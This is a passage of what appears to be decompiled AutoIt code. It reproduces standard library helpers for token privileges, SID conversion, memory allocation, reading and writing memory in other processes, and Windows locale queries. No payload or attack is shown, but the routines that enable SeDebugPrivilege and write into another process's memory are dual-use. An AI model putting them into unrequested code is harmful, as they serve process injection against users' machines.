) LOCAL $TREQUIRED = DLLSTRUCTCREATE ("int Data" ) DLLSTRUCTSETDATA ($TCURRSTATE , "Count" , 1 ) DLLSTRUCTSETDATA ($TCURRSTATE , "LUID" , $ILUID ) IF NOT _SECURITY__ADJUSTTOKENPRIVILEGES ($HTOKEN , FALSE , $TCURRSTATE , $ICURRSTATE , $TPREVSTATE , $TREQUIRED ) THEN RETURN SETERROR (2 , @ERROR , FALSE ) DLLSTRUCTSETDATA ($TPREVSTATE , "Count" , 1 ) DLLSTRUCTSETDATA ($TPREVSTATE , "LUID" , $ILUID ) LOCAL $IATTRIBUTES = DLLSTRUCTGETDATA ($TPREVSTATE , "Attributes" ) IF $BENABLE THEN $IATTRIBUTES = BITOR ($IATTRIBUTES , $SE_PRIVILEGE_ENABLED ) ELSE $IATTRIBUTES = BITAND ($IATTRIBUTES , BITNOT ($SE_PRIVILEGE_ENABLED ) ) ENDIF DLLSTRUCTSETDATA ($TPREVSTATE , "Attributes" , $IATTRIBUTES ) IF NOT _SECURITY__ADJUSTTOKENPRIVILEGES ($HTOKEN , FALSE , $TPREVSTATE , $IPREVSTATE , $TCURRSTATE , $TREQUIRED ) THEN RETURN SETERROR (3 , @ERROR , FALSE ) RETURN TRUE ENDFUNC FUNC _SECURITY__SETTOKENINFORMATION ($HTOKEN , $ITOKENINFORMATION , $VTOKENINFORMATION , $ITOKENINFORMATIONLENGTH ) LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "SetTokenInformation" , "handle" , $HTOKEN , "int" , $ITOKENINFORMATION , "struct*" , $VTOKENINFORMATION , "dword" , $ITOKENINFORMATIONLENGTH ) IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN TRUE ENDFUNC FUNC _SECURITY__SIDTOSTRINGSID ($PSID ) IF NOT _SECURITY__ISVALIDSID ($PSID ) THEN RETURN SETERROR (@ERROR + 10 , 0 , "" ) LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "ConvertSidToStringSidW" , "struct*" , $PSID , "ptr*" , 0 ) IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) LOCAL $PSTRINGSID = $ACALL [2 ] LOCAL $ALEN = DLLCALL ("kernel32.dll" , "int" , "lstrlenW" , "struct*" , $PSTRINGSID ) LOCAL $SSID = DLLSTRUCTGETDATA (DLLSTRUCTCREATE ("wchar Text[" & $ALEN [0 ] + 1 & "]" , $PSTRINGSID ) , "Text" ) DLLCALL ("kernel32.dll" , "handle" , "LocalFree" , "handle" , $PSTRINGSID ) RETURN $SSID ENDFUNC FUNC _SECURITY__SIDTYPESTR ($ITYPE ) SWITCH $ITYPE CASE $SIDTYPEUSER RETURN "User" CASE $SIDTYPEGROUP RETURN "Group" CASE $SIDTYPEDOMAIN RETURN "Domain" CASE $SIDTYPEALIAS RETURN "Alias" CASE $SIDTYPEWELLKNOWNGROUP RETURN "Well Known Group" CASE $SIDTYPEDELETEDACCOUNT RETURN "Deleted Account" CASE $SIDTYPEINVALID RETURN "Invalid" CASE $SIDTYPEUNKNOWN RETURN "Unknown Type" CASE $SIDTYPECOMPUTER RETURN "Computer" CASE $SIDTYPELABEL RETURN "A mandatory integrity label SID" CASE ELSE RETURN "Unknown SID Type" ENDSWITCH ENDFUNC FUNC _SECURITY__STRINGSIDTOSID ($SSID ) LOCAL $ACALL = DLLCALL ("advapi32.dll" , "bool" , "ConvertStringSidToSidW" , "wstr" , $SSID , "ptr*" , 0 ) IF @ERROR OR NOT $ACALL [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) LOCAL $PSID = $ACALL [2 ] LOCAL $TBUFFER = DLLSTRUCTCREATE ("byte Data[" & _SECURITY__GETLENGTHSID ($PSID ) & "]" , $PSID ) LOCAL $TSID = DLLSTRUCTCREATE ("byte Data[" & DLLSTRUCTGETSIZE ($TBUFFER ) & "]" ) DLLSTRUCTSETDATA ($TSID , "Data" , DLLSTRUCTGETDATA ($TBUFFER , "Data" ) ) DLLCALL ("kernel32.dll" , "handle" , "LocalFree" , "handle" , $PSID ) RETURN $TSID ENDFUNC GLOBAL CONST $TAGMEMMAP = "handle hProc;ulong_ptr Size;ptr Mem" FUNC _MEMFREE (BYREF $TMEMMAP ) LOCAL $PMEMORY = DLLSTRUCTGETDATA ($TMEMMAP , "Mem" ) LOCAL $HPROCESS = DLLSTRUCTGETDATA ($TMEMMAP , "hProc" ) LOCAL $BRESULT = _MEMVIRTUALFREEEX ($HPROCESS , $PMEMORY , 0 , $MEM_RELEASE ) DLLCALL ("kernel32.dll" , "bool" , "CloseHandle" , "handle" , $HPROCESS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $BRESULT ENDFUNC FUNC _MEMGLOBALALLOC ($IBYTES , $IFLAGS = 0 ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "GlobalAlloc" , "uint" , $IFLAGS , "ulong_ptr" , $IBYTES ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _MEMGLOBALFREE ($HMEMORY ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "ptr" , "GlobalFree" , "handle" , $HMEMORY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _MEMGLOBALLOCK ($HMEMORY ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "ptr" , "GlobalLock" , "handle" , $HMEMORY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _MEMGLOBALSIZE ($HMEMORY ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "ulong_ptr" , "GlobalSize" , "handle" , $HMEMORY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _MEMGLOBALUNLOCK ($HMEMORY ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "GlobalUnlock" , "handle" , $HMEMORY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _MEMINIT ($HWND , $ISIZE , BYREF $TMEMMAP ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "dword" , "GetWindowThreadProcessId" , "hwnd" , $HWND , "dword*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $IPROCESSID = $ARESULT [2 ] IF $IPROCESSID = 0 THEN RETURN SETERROR (1 , 0 , 0 ) LOCAL $IACCESS = BITOR ($PROCESS_VM_OPERATION , $PROCESS_VM_READ , $PROCESS_VM_WRITE ) LOCAL $HPROCESS = __MEM_OPENPROCESS ($IACCESS , FALSE , $IPROCESSID , TRUE ) LOCAL $IALLOC = BITOR ($MEM_RESERVE , $MEM_COMMIT ) LOCAL $PMEMORY = _MEMVIRTUALALLOCEX ($HPROCESS , 0 , $ISIZE , $IALLOC , $PAGE_READWRITE ) IF $PMEMORY = 0 THEN RETURN SETERROR (2 , 0 , 0 ) $TMEMMAP = DLLSTRUCTCREATE ($TAGMEMMAP ) DLLSTRUCTSETDATA ($TMEMMAP , "hProc" , $HPROCESS ) DLLSTRUCTSETDATA ($TMEMMAP , "Size" , $ISIZE ) DLLSTRUCTSETDATA ($TMEMMAP , "Mem" , $PMEMORY ) RETURN $PMEMORY ENDFUNC FUNC _MEMMOVEMEMORY ($PSOURCE , $PDEST , $ILENGTH ) DLLCALL ("kernel32.dll" , "none" , "RtlMoveMemory" , "struct*" , $PDEST , "struct*" , $PSOURCE , "ulong_ptr" , $ILENGTH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED ) ENDFUNC FUNC _MEMREAD (BYREF $TMEMMAP , $PSRCE , $PDEST , $ISIZE ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "ReadProcessMemory" , "handle" , DLLSTRUCTGETDATA ($TMEMMAP , "hProc" ) , "ptr" , $PSRCE , "struct*" , $PDEST , "ulong_ptr" , $ISIZE , "ulong_ptr*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _MEMWRITE (BYREF $TMEMMAP , $PSRCE , $PDEST = 0 , $ISIZE = 0 , $SSRCE = "struct*" ) IF $PDEST = 0 THEN $PDEST = DLLSTRUCTGETDATA ($TMEMMAP , "Mem" ) IF $ISIZE = 0 THEN $ISIZE = DLLSTRUCTGETDATA ($TMEMMAP , "Size" ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "WriteProcessMemory" , "handle" , DLLSTRUCTGETDATA ($TMEMMAP , "hProc" ) , "ptr" , $PDEST , $SSRCE , $PSRCE , "ulong_ptr" , $ISIZE , "ulong_ptr*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _MEMVIRTUALALLOC ($PADDRESS , $ISIZE , $IALLOCATION , $IPROTECT ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "ptr" , "VirtualAlloc" , "ptr" , $PADDRESS , "ulong_ptr" , $ISIZE , "dword" , $IALLOCATION , "dword" , $IPROTECT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _MEMVIRTUALALLOCEX ($HPROCESS , $PADDRESS , $ISIZE , $IALLOCATION , $IPROTECT ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "ptr" , "VirtualAllocEx" , "handle" , $HPROCESS , "ptr" , $PADDRESS , "ulong_ptr" , $ISIZE , "dword" , $IALLOCATION , "dword" , $IPROTECT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _MEMVIRTUALFREE ($PADDRESS , $ISIZE , $IFREETYPE ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "VirtualFree" , "ptr" , $PADDRESS , "ulong_ptr" , $ISIZE , "dword" , $IFREETYPE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _MEMVIRTUALFREEEX ($HPROCESS , $PADDRESS , $ISIZE , $IFREETYPE ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "VirtualFreeEx" , "handle" , $HPROCESS , "ptr" , $PADDRESS , "ulong_ptr" , $ISIZE , "dword" , $IFREETYPE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC __MEM_OPENPROCESS ($IACCESS , $BINHERIT , $IPID , $BDEBUGPRIV = FALSE ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "OpenProcess" , "dword" , $IACCESS , "bool" , $BINHERIT , "dword" , $IPID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARESULT [0 ] THEN RETURN $ARESULT [0 ] IF NOT $BDEBUGPRIV THEN RETURN SETERROR (100 , 0 , 0 ) LOCAL $HTOKEN = _SECURITY__OPENTHREADTOKENEX (BITOR ($TOKEN_ADJUST_PRIVILEGES , $TOKEN_QUERY ) ) IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) _SECURITY__SETPRIVILEGE ($HTOKEN , "SeDebugPrivilege" , TRUE ) LOCAL $IERROR = @ERROR LOCAL $IEXTENDED = @EXTENDED LOCAL $IRET = 0 IF NOT @ERROR THEN $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "OpenProcess" , "dword" , $IACCESS , "bool" , $BINHERIT , "dword" , $IPID ) $IERROR = @ERROR $IEXTENDED = @EXTENDED IF $ARESULT [0 ] THEN $IRET = $ARESULT [0 ] _SECURITY__SETPRIVILEGE ($HTOKEN , "SeDebugPrivilege" , FALSE ) IF @ERROR THEN $IERROR = @ERROR + 20 $IEXTENDED = @EXTENDED ENDIF ELSE $IERROR = @ERROR + 30 ENDIF DLLCALL ("kernel32.dll" , "bool" , "CloseHandle" , "handle" , $HTOKEN ) RETURN SETERROR ($IERROR , $IEXTENDED , $IRET ) ENDFUNC GLOBAL CONST $LINGUISTIC_IGNORECASE = 16 GLOBAL CONST $LINGUISTIC_IGNOREDIACRITIC = 32 GLOBAL CONST $NORM_IGNORECASE = 1 GLOBAL CONST $NORM_IGNOREKANATYPE = 65536 GLOBAL CONST $NORM_IGNORENONSPACE = 2 GLOBAL CONST $NORM_IGNORESYMBOLS = 4 GLOBAL CONST $NORM_IGNOREWIDTH = 131072 GLOBAL CONST $NORM_LINGUISTIC_CASING = 134217728 GLOBAL CONST $SORT_DIGITSASNUMBERS = 8 GLOBAL CONST $SORT_STRINGSORT = 4096 GLOBAL CONST $CSTR_LESS_THAN = 1 GLOBAL CONST $CSTR_EQUAL = 2 GLOBAL CONST $CSTR_GREATER_THAN = 3 GLOBAL CONST $MUI_LANGUAGE_ID = 4 GLOBAL CONST $MUI_LANGUAGE_NAME = 8 GLOBAL CONST $DATE_AUTOLAYOUT = 64 GLOBAL CONST $DATE_LONGDATE = 2 GLOBAL CONST $DATE_LTRREADING = 16 GLOBAL CONST $DATE_SHORTDATE = 1 GLOBAL CONST $DATE_RTLREADING = 32 GLOBAL CONST $DATE_USE_ALT_CALENDAR = 4 GLOBAL CONST $DATE_YEARMONTH = 8 GLOBAL CONST $GEO_NATION = 1 GLOBAL CONST $GEO_LATITUDE = 2 GLOBAL CONST $GEO_LONGITUDE = 3 GLOBAL CONST $GEO_ISO2 = 4 GLOBAL CONST $GEO_ISO3 = 5 GLOBAL CONST $GEO_RFC1766 = 6 GLOBAL CONST $GEO_LCID = 7 GLOBAL CONST $GEO_FRIENDLYNAME = 8 GLOBAL CONST $GEO_OFFICIALNAME = 9 GLOBAL CONST $GEO_TIMEZONES = 10 GLOBAL CONST $GEO_OFFICIALLANGUAGES = 11 GLOBAL CONST $GEO_ISO_UN_NUMBER = 12 GLOBAL CONST $GEO_PARENT = 13 GLOBAL CONST $LOCALE_ILANGUAGE = 1 GLOBAL CONST $LOCALE_SLANGUAGE = 2 GLOBAL CONST $LOCALE_SENGLANGUAGE = 4097 GLOBAL CONST $LOCALE_SABBREVLANGNAME = 3 GLOBAL CONST $LOCALE_SNATIVELANGNAME = 4 GLOBAL CONST $LOCALE_ICOUNTRY = 5 GLOBAL CONST $LOCALE_SCOUNTRY = 6 GLOBAL CONST $LOCALE_SENGCOUNTRY = 4098 GLOBAL CONST $LOCALE_SABBREVCTRYNAME = 7 GLOBAL CONST $LOCALE_SNATIVECTRYNAME = 8 GLOBAL CONST $LOCALE_IDEFAULTLANGUAGE = 9 GLOBAL CONST $LOCALE_IDEFAULTCOUNTRY = 10 GLOBAL CONST $LOCALE_IDEFAULTCODEPAGE = 11 GLOBAL CONST $LOCALE_IDEFAULTANSICODEPAGE = 4100 GLOBAL CONST $LOCALE_IDEFAULTMACCODEPAGE = 4113 GLOBAL CONST $LOCALE_SLIST = 12 GLOBAL CONST $LOCALE_IMEASURE = 13 GLOBAL CONST $LOCALE_SDECIMAL = 14 GLOBAL CONST $LOCALE_STHOUSAND = 15 GLOBAL CONST $LOCALE_SGROUPING = 16 GLOBAL CONST $LOCALE_IDIGITS = 17 GLOBAL CONST $LOCALE_ILZERO = 18 GLOBAL CONST $LOCALE_INEGNUMBER = 4112 GLOBAL CONST $LOCALE_SNATIVEDIGITS = 19 GLOBAL CONST $LOCALE_SCURRENCY = 20 GLOBAL CONST $LOCALE_SINTLSYMBOL = 21 GLOBAL CONST $LOCALE_SMONDECIMALSEP = 22 GLOBAL CONST $LOCALE_SMONTHOUSANDSEP = 23 GLOBAL CONST $LOCALE_SMONGROUPING = 24 GLOBAL CONST $LOCALE_ICURRDIGITS = 25 GLOBAL CONST $LOCALE_IINTLCURRDIGITS = 26 GLOBAL CONST $LOCALE_ICURRENCY = 27 GLOBAL CONST $LOCALE_INEGCURR = 28 GLOBAL CONST $LOCALE_SDATE = 29 GLOBAL CONST $LOCALE_STIME = 30 GLOBAL CONST $LOCALE_SSHORTDATE = 31 GLOBAL CONST $LOCALE_SLONGDATE = 32 GLOBAL CONST $LOCALE_STIMEFORMAT = 4099 GLOBAL CONST $LOCALE_IDATE = 33 GLOBAL CONST $LOCALE_ILDATE = 34 GLOBAL CONST $LOCALE_ITIME = 35 GLOBAL CONST $LOCALE_ITIMEMARKPOSN = 4101 GLOBAL CONST $LOCALE_ICENTURY = 36 GLOBAL CONST $LOCALE_ITLZERO = 37 GLOBAL CONST $LOCALE_IDAYLZERO = 38 GLOBAL CONST $LOCALE_IMONLZERO = 39 GLOBAL CONST $LOCALE_S1159 = 40 GLOBAL CONST $LOCALE_S2359 = 41 GLOBAL CONST $LOCALE_ICALENDARTYPE = 4105 GLOBAL CONST $LOCALE_IOPTIONALCALENDAR = 4107 GLOBAL CONST $LOCALE_IFIRSTDAYOFWEEK = 4108 GLOBAL CONST $LOCALE_IFIRSTWEEKOFYEAR = 4109 GLOBAL CONST $LOCALE_SDAYNAME1 = 42 GLOBAL CONST $LOCALE_SDAYNAME2 = 43 GLOBAL CONST $LOCALE_SDAYNAME3 = 44 GLOBAL CONST $LOCALE_SDAYNAME4 = 45 GLOBAL CONST $LOCALE_SDAYNAME5 = 46 GLOBAL CONST $LOCALE_SDAYNAME6 = 47 GLOBAL CONST $LOCALE_SDAYNAME7 = 48 GLOBAL CONST $LOCALE_SABBREVDAYNAME1 = 49 GLOBAL CONST $LOCALE_SABBREVDAYNAME2 = 50 GLOBAL CONST $LOCALE_SABBREVDAYNAME3 = 51 GLOBAL CONST $LOCALE_SABBREVDAYNAME4 = 52 GLOBAL CONST $LOCALE_SABBREVDAYNAME5 = 53 GLOBAL CONST $LOCALE_SABBREVDAYNAME6 = 54 GLOBAL CONST $LOCALE_SABBREVDAYNAME7 = 55 GLOBAL CONST $LOCALE_SMONTHNAME1 = 56 GLOBAL CONST $LOCALE_SMONTHNAME2 = 57 GLOBAL CONST $LOCALE_SMONTHNAME3 = 58 GLOBAL CONST $LOCALE_SMONTHNAME4 = 59 GLOBAL CONST $LOCALE_SMONTHNAME5 = 60 GLOBAL CONST $LOCALE_SMONTHNAME6 = 61 GLOBAL CONST $LOCALE_SMONTHNAME7 = 62 GLOBAL CONST $LOCALE_SMONTHNAME8 = 63 GLOBAL CONST $LOCALE_SMONTHNAME9 = 64 GLOBAL CONST $LOCALE_SMONTHNAME10 = 65 GLOBAL CONST $LOCALE_SMONTHNAME11 = 66 GLOBAL CONST $LOCALE_SMONTHNAME12 = 67 GLOBAL CONST $LOCALE_SMONTHNAME13 = 4110 GLOBAL CONST $LOCALE_SABBREVMONTHNAME1 = 68 GLOBAL CONST $LOCALE_SABBREVMONTHNAME2 = 69 GLOBAL CONST $LOCALE_SABBREVMONTHNAME3 = 70 GLOBAL CONST $LOCALE_SABBREVMONTHNAME4 = 71 GLOBAL CONST $LOCALE_SABBREVMONTHNAME5 = 72 GLOBAL CONST $LOCALE_SABBREVMONTHNAME6 = 73 GLOBAL CONST $LOCALE_SABBREVMONTHNAME7 = 74 GLOBAL CONST $LOCALE_SABBREVMONTHNAME8 = 75 GLOBAL CONST $LOCALE_SABBREVMONTHNAME9 = 76 GLOBAL CONST $LOCALE_SABBREVMONTHNAME10 = 77 GLOBAL CONST $LOCALE_SABBREVMONTHNAME11 = 78 GLOBAL CONST $LOCALE_SABBREVMONTHNAME12 = 79 GLOBAL CONST $LOCALE_SABBREVMONTHNAME13 = 4111 GLOBAL CONST $LOCALE_SPOSITIVESIGN = 80 GLOBAL CONST $LOCALE_SNEGATIVESIGN = 81 GLOBAL CONST $LOCALE_IPOSSIGNPOSN = 82 GLOBAL CONST $LOCALE_INEGSIGNPOSN = 83 GLOBAL CONST $LOCALE_IPOSSYMPRECEDES = 84 GLOBAL CONST $LOCALE_IPOSSEPBYSPACE = 85 GLOBAL CONST $LOCALE_INEGSYMPRECEDES = 86 GLOBAL CONST $LOCALE_INEGSEPBYSPACE = 87 GLOBAL CONST $LOCALE_FONTSIGNATURE = 88 GLOBAL CONST $LOCALE_SISO639LANGNAME = 89 GLOBAL CONST $LOCALE_SISO3166CTRYNAME = 90 GLOBAL CONST $LOCALE_IDEFAULTEBCDICCODEPAGE = 4114 GLOBAL CONST $LOCALE_IPAPERSIZE = 4106 GLOBAL CONST $LOCALE_SENGCURRNAME = 4103 GLOBAL CONST $LOCALE_SNATIVECURRNAME = 4104 GLOBAL CONST $LOCALE_SYEARMONTH = 4102 GLOBAL CONST $LOCALE_SSORTNAME = 4115 GLOBAL CONST $LOCALE_IDIGITSUBSTITUTION = 4116 GLOBAL CONST $LOCALE_CUSTOM_DEFAULT = 3072 GLOBAL CONST $LOCALE_CUSTOM_UI_DEFAULT = 5120 GLOBAL CONST $LOCALE_CUSTOM_UNSPECIFIED = 4096 GLOBAL CONST $LOCALE_INVARIANT = 127 GLOBAL CONST $LOCALE_SYSTEM_DEFAULT = 2048 GLOBAL CONST $LOCALE_USER_DEFAULT = 1024 GLOBAL CONST $TIME_FORCE24HOURFORMAT = 8 GLOBAL CONST $TIME_NOMINUTESORSECONDS = 1 GLOBAL CONST $TIME_NOSECONDS = 2 GLOBAL CONST $TIME_NOTIMEMARKER = 4 GLOBAL CONST $LCID_INSTALLED = 1 GLOBAL CONST $LCID_SUPPORTED = 2 #Region Global Variables and Constants GLOBAL CONST $TAGNUMBERFMT = "uint NumDigits;uint LeadingZero;uint Grouping;ptr DecimalSep;ptr ThousandSep;uint NegativeOrder" #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions FUNC _WINAPI_COMPARESTRING ($ILCID , $SSTRING1 , $SSTRING2 , $IFLAGS = 0 ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "CompareStringW" , "dword" , $ILCID , "dword" , $IFLAGS , "wstr" , $SSTRING1 , "int" , + 4294967295 , "wstr" , $SSTRING2 , "int" , + 4294967295 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_CREATENUMBERFORMATINFO ($INUMDIGITS , $ILEADINGZERO , $IGROUPING , $SDECIMALSEP , $STHOUSANDSEP , $INEGATIVEORDER ) LOCAL $TFMT = DLLSTRUCTCREATE ($TAGNUMBERFMT & ";wchar[" & (STRINGLEN ($SDECIMALSEP ) + 1 ) & "];wchar[" & (STRINGLEN ($STHOUSANDSEP ) + 1 ) & "]" ) DLLSTRUCTSETDATA ($TFMT , 1 , $INUMDIGITS ) DLLSTRUCTSETDATA ($TFMT , 2 , $ILEADINGZERO ) DLLSTRUCTSETDATA ($TFMT , 3 , $IGROUPING ) DLLSTRUCTSETDATA ($TFMT , 4 , DLLSTRUCTGETPTR ($TFMT , 7 ) ) DLLSTRUCTSETDATA ($TFMT , 5 , DLLSTRUCTGETPTR ($TFMT , 8 ) ) DLLSTRUCTSETDATA ($TFMT , 6 , $INEGATIVEORDER ) DLLSTRUCTSETDATA ($TFMT , 7 , $SDECIMALSEP ) DLLSTRUCTSETDATA ($TFMT , 8 , $STHOUSANDSEP ) RETURN $TFMT ENDFUNC FUNC _WINAPI_ENUMSYSTEMGEOID () LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumGeoIDProc" , "bool" , "long" ) DIM $__G_VENUM [101 ] = [0 ] LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "EnumSystemGeoID" , "dword" , 16 , "long" , 0 , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) ) IF @ERROR OR NOT $ARET [0 ] OR NOT $__G_VENUM [0 ] THEN $__G_VENUM = @ERROR + 10 ENDIF DLLCALLBACKFREE ($HENUMPROC ) IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 ) __INC ($__G_VENUM , + 4294967295 ) RETURN $__G_VENUM ENDFUNC FUNC _WINAPI_ENUMSYSTEMLOCALES ($IFLAG ) LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumLocalesProc" , "bool" , "ptr" ) DIM $__G_VENUM [101 ] = [0 ] LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "EnumSystemLocalesW" , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) , "dword" , $IFLAG ) IF @ERROR OR NOT $ARET [0 ] OR NOT $__G_VENUM [0 ] THEN $__G_VENUM = @ERROR + 10 ENDIF DLLCALLBACKFREE ($HENUMPROC ) IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 ) __INC ($__G_VENUM , + 4294967295 ) RETURN $__G_VENUM ENDFUNC FUNC _WINAPI_ENUMUILANGUAGES ($IFLAG = 0 ) LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumUILanguagesProc" , "bool" , "ptr;long_ptr" ) LOCAL $IID = 1 IF $__WINVER >= 1536 THEN IF BITAND ($IFLAG , 8 ) THEN $IID = 0 ENDIF ELSE $IFLAG = 0 ENDIF DIM $__G_VENUM [101 ] = [0 ] LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "EnumUILanguagesW" , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) , "dword" , $IFLAG , "long_ptr" , $IID ) IF @ERROR OR NOT $ARET [0 ] OR NOT $__G_VENUM [0 ] THEN $__G_VENUM = @ERROR + 10 ENDIF DLLCALLBACKFREE ($HENUMPROC ) IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 ) __INC ($__G_VENUM , + 4294967295 ) RETURN $__G_VENUM ENDFUNC FUNC _WINAPI_GETDATEFORMAT ($ILCID = 0 , $TSYSTEMTIME = 0 , $IFLAGS = 0 , $SFORMAT = "" ) IF NOT $ILCID THEN $ILCID = 1024 LOCAL $STYPEOFFORMAT = "wstr" IF NOT STRINGSTRIPWS ($SFORMAT , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN $STYPEOFFORMAT = "ptr" $SFORMAT = 0 ENDIF LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "GetDateFormatW" , "dword" , $ILCID , "dword" , $IFLAGS , "struct*" , $TSYSTEMTIME , $STYPEOFFORMAT , $SFORMAT , "wstr" , "" , "int" , 2048 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [5 ] ENDFUNC FUNC _WINAPI_GETDURATIONFORMAT ($ILCID , $IDURATION , $SFORMAT = "" ) IF NOT $ILCID THEN $ILCID = 1024 LOCAL $PST , $IVAL IF ISDLLSTRUCT ($IDURATION ) THEN $PST = DLLSTRUCTGETPTR ($IDURATION ) $IVAL = 0 ELSE $PST = 0 $IVAL = $IDURATION ENDIF LOCAL $STYPEOFFORMAT = "wstr" IF NOT STRINGSTRIPWS ($SFORMAT , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN $STYPEOFFORMAT = "ptr" $SFORMAT = 0 ENDIF LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "GetDurationFormat" , "dword" , $ILCID , "dword" , 0 , "ptr" , $PST , "uint64" , $IVAL , $STYPEOFFORMAT , $SFORMAT , "wstr" , "" , "int" , 2048 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [6 ] ENDFUNC FUNC _WINAPI_GETGEOINFO ($IGEOID , $ITYPE , $ILANGUAGE = 0 ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "GetGeoInfoW" , "long" , $IGEOID , "dword" , $ITYPE , "wstr" , "" , "int" , 4096 , "word" , $ILANGUAGE ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [3 ] ENDFUNC FUNC _WINAPI_GETLOCALEINFO ($ILCID , $ITYPE ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "GetLocaleInfoW" , "dword" , $ILCID , "dword" , $ITYPE , "wstr" , "" , "int" , 2048 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) RETURN $ARET [3 ] ENDFUNC FUNC _WINAPI_GETNUMBERFORMAT ($ILCID , $SNUMBER , $TNUMBERFMT = 0 ) IF NOT $ILCID THEN $ILCID = 1024 LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "GetNumberFormatW" , "dword" , $ILCID , "dword" , 0 , "wstr" , $SNUMBER , "struct*" , $TNUMBERFMT , "wstr" , "" , "int" , 2048 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [5 ] ENDFUNC FUNC _WINAPI_GETSYSTEMDEFAULTLANGID () LOCAL $ARET = DLLCALL ("kernel32.dll" , "word" , "GetSystemDefaultLangID" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETSYSTEMDEFAULTLCID () LOCAL $ARET = DLLCALL ("kernel32.dll" , "dword" , "GetSystemDefaultLCID" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETSYSTEMDEFAULTUILANGUAGE () LOCAL $ARET = DLLCALL ("kernel32.dll" , "word" , 